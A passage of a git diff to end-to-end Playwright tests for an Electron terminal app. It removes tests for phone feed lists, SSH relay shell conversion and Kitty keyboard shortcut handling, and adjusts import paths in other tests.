).toBeDisabled() - await page.getByRole('menuitem', { name: 'Open in', exact: true }).hover() - } else if (surface === 'explorer-toolbar') { - await page.evaluate(() => window.__store?.getState().showRightSidebarFiles()) - await page.getByRole('button', { name: 'More Explorer Actions', exact: true }).click() - } else { - await page.evaluate(() => window.__store?.getState().setActiveWorktree(null)) - await page - .locator(`[data-worktree-id="${workspaceId}"]:visible`) - .first() - .click({ button: 'right' }) - await page.getByRole('menuitem', { name: 'Open in', exact: true }).hover() - } - const editor = page.getByRole('menuitem', { name: /Recording editor/ }) - await expect(editor).toBeVisible() - await page.screenshot({ path: testInfo.outputPath(`${surface}-editor-owner-observed.png`) }) - if (await editor.isEnabled()) { - await editor.click() - await expect.poll(receipt).toContain(localMarker) - } - console.log('[remote-menu-local-editor-receipt]', receipt()) - expect(receipt(), 'A remote menu must not launch an editor for the desktop collision').toBe( - '' - ) - await expect(editor).toBeDisabled() - await page.screenshot({ - path: testInfo.outputPath(`${surface}-editor-owner-corrected.png`) - }) - }).finally(() => rmSync(owned, { recursive: true, force: true })) - }) -} diff --git a/tests/e2e/ssh-orcad-phone-feed-list.spec.ts b/tests/e2e/ssh-orcad-phone-feed-list.spec.ts deleted file mode 100644 index 50aed7f5f12..00000000000 --- a/tests/e2e/ssh-orcad-phone-feed-list.spec.ts +++ /dev/null @@ -1,73 +0,0 @@ -// Compare real phone feed/list modules over a paired socket to rendered desktop SSH rows, including host section and active highlight. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' -import { - launchManagedWorkspace, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient } from './helpers/paired-mobile-client' -import { - desktopSidebarOutline, - outlineRows, - openPhoneFeedList, - type ListOutline -} from './helpers/phone-feed-list' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' - -skipUnlessManagedDockerHost() -test.skip( - !SIDEBAR_INPUTS_BUILD, - 'the phone reads the feed only in an ORCA_SIDEBAR_INPUTS=main build' -) - -type PhoneList = Awaited> - -/** Both sides inside one poll: either may still be catching up with the last change. */ -async function expectPhoneMatchesDesktop(page: Page, phone: PhoneList): Promise { - let desktop: ListOutline = [] - let shown: ListOutline = [] - await expect - .poll( - async () => { - desktop = await desktopSidebarOutline(page) - shown = await phone.outline() - return outlineRows(shown).join('\n') === outlineRows(desktop).join('\n') - }, - { timeout: 60_000 } - ) - .toBe(true) - .catch(() => expect(outlineRows(shown)).toEqual(outlineRows(desktop))) - return shown -} - -test("the phone lists the desktop's managed SSH workspace as the desktop sidebar does", async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(12 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture) - const sshRow = (outline: ListOutline): string[] => - outline.filter((line) => line.startsWith('ITEM ') && line.includes(seeded.repoPath)) - // The desktop draws the SSH workspace before the phone is asked to match it. - await expect - .poll(async () => sshRow(await desktopSidebarOutline(page)), { timeout: 120_000 }) - .toHaveLength(1) - - const phone = pairMobileClient(await createDesktopMobilePairingOffer(page)) - // The phone last opened the seeded workspace, on its managed server, so it highlights that row. - const list = await openPhoneFeedList(phone, { - worktreeId: seeded.worktreeId, - executionHost: toRuntimeExecutionHostId(environmentId) - }) - try { - const shown = await expectPhoneMatchesDesktop(page, list) - expect(sshRow(shown)).toEqual([expect.stringMatching(/ ACTIVE$/)]) - expect(shown.filter((line) => line.endsWith(' ACTIVE'))).toHaveLength(1) - } finally { - list.close() - phone.dispose() - } - }) -}) diff --git a/tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts b/tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts deleted file mode 100644 index 2c7b35ca5b5..00000000000 --- a/tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts +++ /dev/null @@ -1,445 +0,0 @@ -// Convert a live detached 1.4.224 relay whose shell is named only on the tab/session map, preserving the same shell. -// Synthesized legacy pane-key aliases name no extra terminal and must not block conversion as waiting-to-reconnect. -// COMPAT(legacy-relay-bridge): revisit 2027-01-15, with src/main/ssh/legacy-relay/. -import { writeFileSync } from 'node:fs' -import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { managedServer } from './helpers/orcad-convert-flow' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { toRuntimeExecutionHostId, toSshExecutionHostId } from '../../src/shared/execution-host' -import { toAppSshPtyId } from '../../src/shared/remote-runtime/ssh/ssh-pty-id' -import { getOrcadSshDeployment } from '../../src/shared/remote-runtime/host-catalog/runtime-environments' -import { - cleanupDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - startDockerSshHostTarget, - type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { - installReleasedRelayOnDockerHost, - listDockerRelayPtys, - startDockerRelayWithShell -} from './helpers/legacy-relay-docker-host' -import { expectTerminalAccessibilityText } from './helpers/terminal-accessibility-tree' -import { focusActiveTerminalInput } from './helpers/terminal' - -const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE -const BRIDGE_TIMEOUT_MS = 4 * 60_000 - -test.skip( - process.env.ORCA_E2E_ORCAD_CONVERT_HOST !== 'docker' || !TEMPLATE_SOURCE, - 'Set ORCA_E2E_ORCAD_CONVERT_HOST=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE' -) - -let host: DockerSshHostTarget | null = null - -test.afterEach(() => { - cleanupDockerSshHostTarget(host) - host = null -}) - -function isRecord(value: unknown): value is Record { - return typeof value === 'object' && value !== null && !Array.isArray(value) -} - -function recordAt(parent: Record, key: string): Record { - const value = parent[key] - if (!isRecord(value)) { - throw new Error(`The seeded profile has no ${key}`) - } - return value -} - -/** As an older build left a live relay tab at quit: the shell named on the tab, no pane binding. */ -function nameRelayShellOnTabOnly( - userDataDir: string, - hostId: string, - worktreeId: string, - tabId: string, - ptyId: string -): void { - mutateStoppedProfileState(userDataDir, (state) => { - const session = recordAt(recordAt(state, 'workspaceSessionsByHostId'), hostId) - delete recordAt(recordAt(session, 'terminalLayoutsByTabId'), tabId).ptyIdsByLeafId - session.remoteSessionIdsByTabId = { [tabId]: ptyId } - session.activeWorktreeIdsOnShutdown = [worktreeId] - }) -} - -function forwardSshLogs(chunk: string): void { - if (chunk.includes('[ssh]') || chunk.includes('orcad')) { - process.stderr.write(chunk) - } -} - -function bridgedPanes(page: Page): Promise<{ ptyId: string; state: string }[]> { - return page.evaluate(async () => (await window.api.legacyRelayBridge?.listPanes()) ?? []) -} - -/** The client mirrors the server's tab as `web-terminal-`; returns its id and key. */ -async function mirroredTab(page: Page, tabId: string): Promise<{ id: string; key: string }> { - let found = { id: '', key: '' } - await expect - .poll( - async () => { - found = await page.evaluate((wanted) => { - for (const [key, tabs] of Object.entries(window.__store!.getState().tabsByWorktree)) { - for (const tab of tabs ?? []) { - const named = tab.id.startsWith('web-terminal-') - ? decodeURIComponent(tab.id.slice('web-terminal-'.length)) - : '' - if (named === wanted || named.startsWith(`${wanted}::`)) { - return { id: tab.id, key } - } - } - } - return { id: '', key: '' } - }, tabId) - return found.id - }, - { timeout: 120_000, message: 'the client never mirrored the relay-era tab' } - ) - .not.toBe('') - return found -} - -/** Observe selection/catalog ownership without changing activation or retaining terminal bytes. */ -function observeRelayTabSelection( - page: Page, - args: { - targetId: string - sshHostId: ReturnType - seededWorktreeId: string - terminalTabId: string - } -) { - return page.evaluateHandle(({ targetId, sshHostId, seededWorktreeId, terminalTabId }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable for relay selection observation') - } - const snapshot = () => { - const state = store.getState() - const connection = state.sshConnectionStates.get(targetId) - const managed = connection?.managedServer - const environmentId = managed?.kind === 'managed' ? managed.environmentId : null - const runtimeHostId = environmentId - ? (`runtime:${encodeURIComponent(environmentId)}` as const) - : null - const relevantTabs = Object.entries(state.tabsByWorktree) - .flatMap(([key, tabs]) => - (tabs ?? []).flatMap((tab) => { - const named = tab.id.startsWith('web-terminal-') - ? decodeURIComponent(tab.id.slice('web-terminal-'.length)) - : tab.id - return named === terminalTabId || named.startsWith(`${terminalTabId}::`) - ? [{ key, id: tab.id }] - : [] - }) - ) - .slice(0, 6) - return { - activeWorktreeId: state.activeWorktreeId, - activeWorkspaceKey: state.activeWorkspaceKey, - activeHostId: state.activeWorkspaceExecutionHostId, - activeTabId: state.activeTabId, - activeTabType: state.activeTabType, - sshStatus: connection?.status ?? null, - managedKind: managed?.kind ?? null, - managedPhase: managed?.kind === 'setting-up' ? managed.phase : null, - relayBridged: managed?.kind === 'relay' && managed.bridged === true, - environmentId, - visibleRelevantHosts: - state.visibleWorkspaceHostIds?.filter( - (id) => id === 'local' || id === sshHostId || id === runtimeHostId - ) ?? null, - runtimeCatalogPresent: state.runtimeEnvironments.some( - (entry) => entry.id === environmentId - ), - runtimeCatalogHydrated: state.runtimeEnvironmentCatalogHydrated, - runtimeCatalogSettled: state.runtimeEnvironmentCatalogSettled, - startupScanFinished: state.startupWorktreeRefreshCompleted, - seedKnownOnSsh: Boolean(state.getKnownWorktreeById(seededWorktreeId, sshHostId)), - seedKnownOnRuntime: runtimeHostId - ? Boolean(state.getKnownWorktreeById(seededWorktreeId, runtimeHostId)) - : false, - relevantRepos: state.repos - .filter( - (repo) => - repo.connectionId === targetId || - (runtimeHostId && repo.executionHostId === runtimeHostId) - ) - .slice(0, 6) - .map((repo) => ({ - id: repo.id, - hostId: repo.executionHostId ?? null, - connectionId: repo.connectionId ?? null - })), - relevantTabs - } - } - type Snapshot = ReturnType - type Event = { - at: number - stage: string - before: Snapshot | null - after: Snapshot - stack?: string - } - const events: Event[] = [] - let dropped = 0 - let previous: Snapshot | null = null - let selectedMirrorId: string | null = null - let mirrored: { id: string; key: string } | null = null - let firstDeselection: Event | null = null - let firstMirrorRemoval: Event | null = null - const record = (stage: string) => { - const after = snapshot() - if (stage === 'store' && JSON.stringify(previous) === JSON.stringify(after)) { - return - } - const deselected = previous?.activeWorktreeId != null && after.activeWorktreeId === null - const removed = - selectedMirrorId !== null && - previous?.relevantTabs.some((tab) => tab.id === selectedMirrorId) && - !after.relevantTabs.some((tab) => tab.id === selectedMirrorId) - const event: Event = { at: performance.now(), stage, before: previous, after } - if ((deselected && !firstDeselection) || (removed && !firstMirrorRemoval)) { - event.stack = new Error('Relay tab selection loss').stack?.slice(0, 6_000) - } - if (deselected && !firstDeselection) { - firstDeselection = event - } - if (removed && !firstMirrorRemoval) { - firstMirrorRemoval = event - } - if ( - after.relevantTabs.some( - (tab) => tab.id === after.activeTabId && tab.id.startsWith('web-terminal-') - ) - ) { - selectedMirrorId = after.activeTabId - } - previous = after - if (events.length === 80) { - events.shift() - dropped++ - } - events.push(event) - } - record('before-activation') - const unsubscribe = store.subscribe(() => record('store')) - return { - checkpoint: (input: { - stage: string - runtimeHostId?: string - mirrored?: { id: string; key: string } - }) => { - if (input.mirrored) { - mirrored = input.mirrored - } - record(input.stage) - return { ...input, seededWorktreeId, selected: previous } - }, - finish: () => { - unsubscribe() - record('finish') - const tabId = mirrored?.id ?? selectedMirrorId ?? terminalTabId - const manager = window.__paneManagers?.get(tabId) - const panes = manager?.getPanes() ?? [] - const hasMarker = (pane: (typeof panes)[number], marker: string): boolean => { - const buffer = pane.terminal.buffer.active - for (let row = 0; row < buffer.length; row++) { - if (buffer.getLine(row)?.translateToString(true).includes(marker)) { - return true - } - } - return false - } - const selector = `[data-terminal-tab-id="${CSS.escape(tabId)}"]` - return { - seededWorktreeId, - sshHostId, - terminalTabId, - mirrored, - events, - dropped, - firstDeselection, - firstMirrorRemoval, - dom: { - tabId, - managerCount: window.__paneManagers?.size ?? 0, - paneCount: panes.length, - tabInStrip: document.querySelector(`[data-tab-id="${CSS.escape(tabId)}"]`) !== null, - terminalDom: document.querySelector(selector) !== null, - accessibilityTree: - document.querySelector(`${selector} .xterm-accessibility-tree`) !== null, - panes: panes.slice(0, 4).map((pane) => ({ - leafId: pane.leafId, - ptyId: pane.container.dataset.ptyId ?? null, - screenReaderMode: pane.terminal.options.screenReaderMode === true, - hasBeforeMoveMarker: hasMarker(pane, 'GOT:before-move'), - hasAfterMoveMarker: hasMarker(pane, 'GOT:after-move') - })) - } - } - } - } - }, args) -} - -test('an SSH host converts while a relay shell named only on its tab runs, and the tab keeps it', async ({ - testRepoPath -}, testInfo: TestInfo) => { - test.setTimeout(20 * 60_000) - host = startDockerSshHostTarget(testInfo) - const targetId = `ssh-tab-only-${Date.now()}` - const relay = await installReleasedRelayOnDockerHost(host, TEMPLATE_SOURCE!) - const ours = await startDockerRelayWithShell(host, relay, targetId, 'before-move') - const bridgedPtyId = toAppSshPtyId(targetId, ours.relayPtyId) - const sshHostId = toSshExecutionHostId(targetId) - const record: Record = { relayPtyId: ours.relayPtyId, bridgedPtyId } - - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE! }) - let app: ElectronApplication | null = null - let selectionObserver: Awaited> | null = null - try { - // The first launch only establishes the profile, with a local project to land on. - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await attachRepoAndOpenTerminal(first.page, testRepoPath) - await first.page.waitForTimeout(2_000) - await session.close(app) - app = null - const seeded = seedRelayEraProfile( - session.userDataDir, - { - label: `tab-only relay E2E ${Date.now()}`, - host: host.host, - port: host.port, - username: 'root', - identityFile: host.identityFile, - identitiesOnly: true, - relayGracePeriodSeconds: 1 - }, - { repoPath: DOCKER_SSH_HOST_REMOTE_REPO_PATH, folderPath: '/tmp' }, - { targetId, relayPtyId: ours.relayPtyId } - ) - const terminalTabId = seeded.terminalTabId! - nameRelayShellOnTabOnly( - session.userDataDir, - sshHostId, - seeded.worktreeId, - terminalTabId, - bridgedPtyId - ) - - // Opening the old tab dials the host, which converts while its relay shell runs. - const launched = await session.launch({ onStderr: forwardSshLogs }) - app = launched.app - const page = launched.page - await waitForSessionReady(page) - selectionObserver = await observeRelayTabSelection(page, { - targetId, - sshHostId, - seededWorktreeId: seeded.worktreeId, - terminalTabId - }) - await page.evaluate( - ({ worktreeId, hostId, tabId }) => { - const state = window.__store!.getState() - state.setActiveView('terminal') - state.setActiveWorktree(worktreeId, hostId) - state.setActiveTab(tabId) - state.setActiveTabType('terminal', worktreeId) - }, - { worktreeId: seeded.worktreeId, hostId: sshHostId, tabId: terminalTabId } - ) - record.afterSshActivation = await selectionObserver.evaluate((observer) => - observer.checkpoint({ stage: 'after-ssh-activation' }) - ) - await expect - .poll(async () => (record.managedServer = await managedServer(page, targetId)), { - timeout: 3 * 60_000 - }) - .toMatchObject({ kind: 'managed' }) - await expect - .poll(() => bridgedPanes(page), { timeout: BRIDGE_TIMEOUT_MS }) - .toEqual([expect.objectContaining({ ptyId: bridgedPtyId, state: 'live' })]) - const environment = (await page.evaluate(() => window.api.runtimeEnvironments.list())).find( - (entry) => getOrcadSshDeployment(entry)?.sshTargetId === targetId - ) - if (!environment) { - throw new Error('Converted host is missing from the environment catalog') - } - const runtimeHostId = toRuntimeExecutionHostId(environment.id) - await page.evaluate( - ({ worktreeId, hostId }) => { - const state = window.__store!.getState() - state.setGroupBy('none') - window.__store!.setState({ visibleWorkspaceHostIds: ['local', hostId] }) - state.setActiveView('terminal') - state.setActiveWorktree(worktreeId, hostId) - }, - { worktreeId: seeded.worktreeId, hostId: runtimeHostId } - ) - record.afterRuntimeActivation = await selectionObserver.evaluate( - (observer, runtimeHostId) => - observer.checkpoint({ stage: 'after-runtime-activation', runtimeHostId }), - runtimeHostId - ) - const mirrored = await mirroredTab(page, terminalTabId) - await page.evaluate( - ({ worktreeId, hostId, tabId }) => { - const state = window.__store!.getState() - state.setActiveWorktree(worktreeId, hostId) - state.setActiveTab(tabId) - state.setActiveTabType('terminal', worktreeId) - }, - { worktreeId: mirrored.key, hostId: runtimeHostId, tabId: mirrored.id } - ) - record.afterMirrorActivation = await selectionObserver.evaluate( - (observer, input) => observer.checkpoint({ stage: 'after-mirror-activation', ...input }), - { runtimeHostId, mirrored } - ) - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, mirrored.id), { - timeout: 120_000, - message: 'the relay terminal tab never mounted after the move' - }) - .toBe(true) - // The same shell: its output from before the move is on screen, and it still answers. - await expectTerminalAccessibilityText(page, mirrored.id, 'GOT:before-move', BRIDGE_TIMEOUT_MS) - await focusActiveTerminalInput(page) - await page.keyboard.type('after-move', { delay: 20 }) - await page.keyboard.press('Enter') - await expectTerminalAccessibilityText(page, mirrored.id, 'GOT:after-move') - await page.screenshot({ path: testInfo.outputPath('tab-only-shell-after-move.png') }) - // Never a second shell: the relay still runs exactly the one it started with. - expect(await listDockerRelayPtys(host, relay, ours.sockPath)).toEqual([ours.relayPtyId]) - record.bridged = await bridgedPanes(page) - } finally { - if (selectionObserver) { - try { - const evidence = await selectionObserver.evaluate((observer) => observer.finish()) - await testInfo.attach('tab-only-shell-selection', { - body: JSON.stringify(evidence), - contentType: 'application/json' - }) - } catch (error) { - record.selectionCaptureError = String(error) - } finally { - await selectionObserver.dispose().catch(() => {}) - } - } - writeFileSync(testInfo.outputPath('tab-only-shell.json'), JSON.stringify(record, null, 2)) - if (app) { - await session.close(app) - } - await session.dispose() - } -}) diff --git a/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts b/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts index 079effec2f1..a9b4de19f5d 100644 --- a/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts +++ b/tests/e2e/ssh-orcad-terminal-root-owner.spec.ts @@ -11,7 +11,7 @@ import { import { dismissTransientAnnouncement } from './helpers/ssh-config-host-picker' import { openFileExplorer } from './helpers/file-explorer' import { openTerminalWorkspaceRootLink } from './helpers/terminal-workspace-root-link' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' +import { toRuntimeExecutionHostId } from '../../src/shared/execution-host/execution-host' import { getWorktreeHostIdentity } from '../../src/shared/worktree/host-qualified-identity' import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' diff --git a/tests/e2e/structured-attention-read-retirement.test-fixture.tsx b/tests/e2e/structured-attention-read-retirement.test-fixture.tsx index 7bbfa70381c..54637537f68 100644 --- a/tests/e2e/structured-attention-read-retirement.test-fixture.tsx +++ b/tests/e2e/structured-attention-read-retirement.test-fixture.tsx @@ -11,7 +11,7 @@ import type { NotificationSettings } from '../../src/shared/notifications/notifi import type { AgentJournalRenderItem } from '../../src/shared/agent-session/journal/agent-session-journal-types' import type { AgentSessionHistoryPage } from '../../src/shared/agent-session/agent-session-wire' import type { RuntimeRpcResponse } from '../../src/shared/remote-runtime/rpc/runtime-rpc-envelope' -import { createGlobalSettingsFixture } from '../../src/shared/global-settings-test-fixture' +import { createGlobalSettingsFixture } from '../../src/shared/settings/global-settings-test-fixture' import { structuredAgentSessionPaneKey, projectStructuredAgentSessionStatusState diff --git a/tests/e2e/terminal-shortcuts.spec.ts b/tests/e2e/terminal-shortcuts.spec.ts index 90cbf4f820c..32f92432ec2 100644 --- a/tests/e2e/terminal-shortcuts.spec.ts +++ b/tests/e2e/terminal-shortcuts.spec.ts @@ -4,15 +4,12 @@ import { test, expect } from './helpers/orca-app' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../src/shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../src/shared/workspace/identity/floating-workspace-id' import { execInTerminal, - sendToTerminal, - countVisibleTerminalPanes, waitForActiveTerminalManager, waitForTerminalOutput, waitForPaneCount, - getTerminalContent, waitForActivePanePtyId, focusActiveTerminalInput } from './helpers/terminal' @@ -22,11 +19,7 @@ import { installTerminalPtyWriteSpy as installMainProcessPtyWriteSpy, readTerminalPtyWrites as getPtyWrites } from './helpers/terminal-pty-write-spy' -import { - armKittyKeyboardFromPty, - getKittyKeyboardFlags, - interruptAndExpectEtx -} from './helpers/terminal-kitty-keyboard' +import './helpers/terminal-kitty-keyboard' async function setActivePaneForegroundAgent( page: Page, @@ -191,37 +184,6 @@ async function pressAndExpectWrite( const isMac = process.platform === 'darwin' const mod = isMac ? 'Meta' : 'Control' -// Mac splits use Cmd+D/Cmd+Shift+D; Linux/Windows reserve Ctrl+D for EOF (#586) and use Ctrl+Shift+D/Alt+Shift+D. -const splitVerticalChord = isMac ? `${mod}+d` : `${mod}+Shift+d` -const splitHorizontalChord = isMac ? `${mod}+Shift+d` : 'Alt+Shift+d' - -// Poll confirmation/count because fresh split may transiently report a running child. -async function closeActivePaneAndSettle(page: Page, expectedCount: number): Promise { - // Focus PaneManager’s active textarea, not the first of multiple split panes. - await focusActiveTerminalInput(page) - await page.keyboard.press(`${mod}+w`) - // The "Stop running command?" confirm surfaces a "Stop and Close" action when - // the pane still reports a running child. - const confirmButton = page.getByRole('button', { name: /Stop and Close/i }) - await expect - .poll( - async () => { - if (await confirmButton.isVisible().catch(() => false)) { - // Surface click errors directly instead of hiding actionability/strictness failure behind a count timeout. - await confirmButton.click().catch((err) => { - console.warn('closeActivePaneAndSettle: confirm click failed', err) - }) - } - return countVisibleTerminalPanes(page) - }, - { - timeout: 10_000, - message: `Expected ${expectedCount} visible terminal panes after close` - } - ) - .toBe(expectedCount) -} - // Serialize shared layout/buffer/expand state and the singleton main pty:write spy to prevent interleaved chord effects. test.describe.configure({ mode: 'serial' }) test.describe('Terminal Shortcuts', () => { @@ -239,26 +201,6 @@ test.describe('Terminal Shortcuts', () => { await waitForPaneCount(orcaPage, 1, 30_000) }) - test('Shift+Enter follows the pane Kitty keyboard state', async ({ orcaPage, electronApp }) => { - await installMainProcessPtyWriteSpy(electronApp) - const ptyId = await waitForActivePanePtyId(orcaPage) - - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b\r') - if (process.platform === 'win32') { - return - } - - // Drive the production PTY-output mirror that shortcut policy reads, not renderer-local flags. - // Disarm before exit because host grounding clears flags left armed. - await execInTerminal(orcaPage, ptyId, "printf '\\033[>1u'; read -r _; printf '\\033[ getKittyKeyboardFlags(orcaPage)).toBe(1) - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b[13;2u') - - await sendToTerminal(orcaPage, ptyId, '\r') - await expect.poll(() => getKittyKeyboardFlags(orcaPage)).toBe(0) - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b\r') - }) - test('Droid gets CSI-u Shift+Enter on Windows without changing Antigravity', async ({ orcaPage, electronApp @@ -318,142 +260,6 @@ test.describe('Terminal Shortcuts', () => { await pressAndExpectWrite(orcaPage, electronApp, 'Control+Enter', '\x1b[13;5u') }) - test('plain Ctrl+C sends ETX and leaves a surviving app its kitty flags', async ({ - orcaPage, - electronApp - }) => { - test.skip(process.platform === 'win32', 'POSIX trap and printf fixture') - await installMainProcessPtyWriteSpy(electronApp) - const ptyId = await waitForActivePanePtyId(orcaPage) - // SIGINT during shell startup kills the shell, so interrupt only a ready prompt. - await execInTerminal(orcaPage, ptyId, 'echo "CTRL_C_""READY"') - await waitForTerminalOutput(orcaPage, 'CTRL_C_READY') - // An app that survives SIGINT, like an agent TUI, and disarms its own flags on exit. - await armKittyKeyboardFromPty( - orcaPage, - ptyId, - `bash -c 'trap "" INT; printf "\\033[=31u"; read -r _; printf "\\033[=0u"'` - ) - - await interruptAndExpectEtx(orcaPage, electronApp) - - // Require xterm and policy mirror to retain encoding after unproven app death (Shift+Enter stays CSI-u). - expect(await getKittyKeyboardFlags(orcaPage)).toBe(31) - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b[13;2u') - - await sendToTerminal(orcaPage, ptyId, '\r') - await expect.poll(async () => await getKittyKeyboardFlags(orcaPage)).toBe(0) - await pressAndExpectWrite(orcaPage, electronApp, 'Shift+Enter', '\x1b\r') - }) - - test('the host grounds kitty flags an app killed by Ctrl+C left armed', async ({ - orcaPage, - electronApp - }) => { - test.skip(process.platform === 'win32', 'POSIX printf fixture') - await installMainProcessPtyWriteSpy(electronApp) - const ptyId = await waitForActivePanePtyId(orcaPage) - await execInTerminal(orcaPage, ptyId, 'echo "CTRL_C_""READY"') - await waitForTerminalOutput(orcaPage, 'CTRL_C_READY') - // `cat` dies on SIGINT with the flags still armed, like a crashed TUI. - await armKittyKeyboardFromPty(orcaPage, ptyId, `printf '\\033[=31u'; cat`) - - await interruptAndExpectEtx(orcaPage, electronApp) - - await expect - .poll(async () => await getKittyKeyboardFlags(orcaPage), { - timeout: 5_000, - message: 'the host did not ground the dead app kitty flags at command end' - }) - .toBe(0) - await clearPtyWriteLog(electronApp) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.type('x') - await expect - .poll(async () => (await getPtyWrites(electronApp)).some((write) => write === 'x'), { - timeout: 5_000, - message: 'Post-interrupt keyboard input stayed in Kitty CSI-u mode' - }) - .toBe(true) - expect((await getPtyWrites(electronApp)).join('')).not.toContain('\x1b[') - await orcaPage.keyboard.press('Backspace') - }) - - test('unselected Cmd+C reaches a Kitty app, including after Ctrl+C', async ({ - orcaPage, - electronApp - }) => { - test.skip(process.platform !== 'darwin', 'macOS copy binding') - await installMainProcessPtyWriteSpy(electronApp) - const ptyId = await waitForActivePanePtyId(orcaPage) - await execInTerminal(orcaPage, ptyId, 'echo "CMD_C_""READY"') - await waitForTerminalOutput(orcaPage, 'CMD_C_READY') - const select = (text: string | null): Promise => - orcaPage.evaluate(async (selectedText) => { - const state = window.__store!.getState() - const pane = window.__paneManagers!.get(state.activeTabId!)!.getActivePane()! - if (selectedText === null) { - pane.terminal.clearSelection() - return '' - } - await new Promise((resolve) => - pane.terminal.write(`\r\n${selectedText}\r\n`, resolve) - ) - const buffer = pane.terminal.buffer.active - pane.terminal.select(0, buffer.baseY + buffer.cursorY - 1, selectedText.length) - return pane.terminal.getSelection() - }, text) - // Presses Cmd+C, then a marker chord whose write proves the Cmd+C bytes had their turn. - const pressCmdC = async (marker: string, markerWrite: string): Promise => { - await clearPtyWriteLog(electronApp) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.press('Meta+c') - await orcaPage.keyboard.press(marker) - await expect.poll(async () => await getPtyWrites(electronApp)).toContain(markerWrite) - const writes = await getPtyWrites(electronApp) - return writes.slice(0, writes.indexOf(markerWrite)) - } - const kittyCmdC = ['\x1b[99;9;99u', '\x1b[99;9:3u'] - const originalClipboard = await electronApp.evaluate(({ clipboard }) => clipboard.readText()) - try { - await select(null) - expect(await pressCmdC('x', 'x')).toEqual([]) - await orcaPage.keyboard.press('Backspace') - - // An app that survives SIGINT, like an agent TUI, and disarms its own flags on exit. - await armKittyKeyboardFromPty( - orcaPage, - ptyId, - `bash -c 'trap "" INT; printf "\\033[=31u"; read -r _; printf "\\033[=0u"'` - ) - await select(null) - expect(await pressCmdC('Shift+Enter', '\x1b[13;2u')).toEqual(kittyCmdC) - - const selectedText = await select('Terminal copy selection') - expect(selectedText).toBe('Terminal copy selection') - await electronApp.evaluate(({ clipboard }) => clipboard.writeText('')) - expect(await pressCmdC('Shift+Enter', '\x1b[13;2u')).toEqual([]) - await expect - .poll(() => electronApp.evaluate(({ clipboard }) => clipboard.readText())) - .toBe(selectedText) - - await interruptAndExpectEtx(orcaPage, electronApp) - expect(await getKittyKeyboardFlags(orcaPage)).toBe(31) - await select(null) - expect(await pressCmdC('Shift+Enter', '\x1b[13;2u')).toEqual(kittyCmdC) - - await sendToTerminal(orcaPage, ptyId, '\r') - await expect.poll(async () => await getKittyKeyboardFlags(orcaPage)).toBe(0) - expect(await pressCmdC('x', 'x')).toEqual([]) - await orcaPage.keyboard.press('Backspace') - } finally { - await electronApp.evaluate( - ({ clipboard }, text) => clipboard.writeText(text), - originalClipboard - ) - } - }) - test('floating terminal owns tab switch shortcuts while focused', async ({ orcaPage }) => { const scenario = await seedFloatingTerminalTabSwitchScenario(orcaPage) await orcaPage.evaluate(async () => { @@ -497,117 +303,6 @@ test.describe('Terminal Shortcuts', () => { ) }) - test('all terminal chords reach the PTY or fire their action', async ({ - orcaPage, - electronApp - }) => { - await installMainProcessPtyWriteSpy(electronApp) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = `SHORTCUT_TEST_${Date.now()}` - await execInTerminal(orcaPage, ptyId, `echo ${marker}`) - await waitForTerminalOutput(orcaPage, marker) - - // Alt+←/→ → readline backward-word / forward-word (\eb / \ef). - await pressAndExpectWrite(orcaPage, electronApp, 'Alt+ArrowLeft', '\x1bb') - await pressAndExpectWrite(orcaPage, electronApp, 'Alt+ArrowRight', '\x1bf') - - // Ctrl+←/→ on non-mac → readline backward-word / forward-word (\eb / \ef). - // macOS reserves Ctrl+Arrow; Windows ConPTY leaves it to PSReadLine. - if (!isMac && process.platform !== 'win32') { - await pressAndExpectWrite(orcaPage, electronApp, 'Control+ArrowLeft', '\x1bb') - await pressAndExpectWrite(orcaPage, electronApp, 'Control+ArrowRight', '\x1bf') - } - - // Alt+Backspace → Esc+DEL (readline backward-kill-word). - await pressAndExpectWrite(orcaPage, electronApp, 'Alt+Backspace', '\x1b\x7f') - - // Ctrl+Backspace → \x17 (unix-word-rubout). - await pressAndExpectWrite(orcaPage, electronApp, 'Control+Backspace', '\x17') - - // The shell has not enabled KKP, so Shift+Enter must not leak CSI-u text. - await 